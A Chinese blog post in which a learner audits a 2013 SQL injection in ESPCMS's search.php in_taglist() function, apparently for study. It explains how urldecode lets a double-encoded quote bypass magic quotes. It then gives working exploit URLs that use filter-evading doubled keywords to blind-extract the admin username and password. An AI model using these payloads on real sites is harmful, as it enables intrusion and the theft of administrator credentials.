审计espcms注入漏洞

    正在学习代码审计，动手审计了一下seay在2013年发现的espcms注入漏洞，记录下来：

    主要问题函数为interface/search.php中的in_taglist()函数：

function in_taglist() {
		parent::start_pagetemplate();
		include_once admin_ROOT . 'public/class_pagebotton.php';

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));

		$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
		if (empty($tagkey)) {
			$linkURL = $_SERVER['HTTP_REFERER'];
			$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
		}
		if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}
		$pagemax = 20;

		$pagesylte = 1;

		$templatesDIR = $this->get_templatesdir('article');

		$templatefilename = $lng . '/' . $templatesDIR . '/search';

		$db_table = db_prefix . 'document';
		$countnum = $this->db_numrows($db_table, $db_where);
		if ($countnum > 0) {

			$numpage = ceil($countnum / $pagemax);
		} else {
			$numpage = 1;
		}
		$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
		$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
		$sql = $this->htmlpage->PageSQL('pid,did', 'down');
		$rs = $this->db->query($sql);
		while ($rsList = $this->db->fetch_assoc($rs)) {
			$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');
			$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
			$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
			$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
			$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "" . $rsList['title'] . "";
			$rsList[$keyname] = str_ireplace($keyword, '' . $keyword . '', $rsList[$keyname]);
			$array[] = $rsList;
		}
		$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));
		$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());
		$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));
		$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());
		$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());

		$this->pagetemplate->assign('array', $array);
		$this->pagetemplate->assign('path', 'search');
		unset($array, $typeread, $modelview, $LANPACK, $this->lng);
		$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);
	}

   

主要代码：

$tagkey = urldecode($this->fun->accept('tagkey', 'R'));

$db_where.=" AND FIND_IN_SET('$tagkey',tags)";

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";

$tagkey变量使用了urldecode，可以绕过GPC，最终$tagkey被带入SQL语句。

漏洞测试EXP：http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527

猜解用户名长度：

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay

爆破用户名和密码：

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay

   

    最近才接触代码审计，看的眼疼。